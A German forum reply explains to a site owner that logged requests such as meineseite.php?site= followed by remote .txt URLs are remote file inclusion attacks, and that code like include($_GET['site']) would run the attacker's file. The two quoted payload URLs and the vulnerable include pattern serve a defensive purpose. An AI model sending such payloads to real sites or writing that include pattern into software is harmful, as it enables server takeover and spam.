Captchas

[Jonathan]

Hallo Kodi,

meineseite.php?site=http://www.cmdlist.xpg.com.br/cmd.txt
oder z.b.
meineseite.php?site=http://www.vuls2008.kit.net/rev.txt

in der Zweiten txt steht irgendwie auch was von wegen smtp.

Ist es das? Und jemand ne Idee wie ich mich davor schützen kann.
Ich glaub das ist es.

Naja, der angreifer schickt dir hier einfach irgendwelche GET-Parameter. Das ist prinzipiell unproblematisch. Allerdings nur sofern dein Script nicht darauf reagiert.

Wenn du in deinem PHP-Dateien sowas hast wie include($_GET["site"]); dann includest du u.U. die angebene Datei, die dann allen möglichen Schadcode auf deinem Server ausführen kann, z.B. Mails versenden, Dateien löschen/verändern/auslesen usw.

Jonathan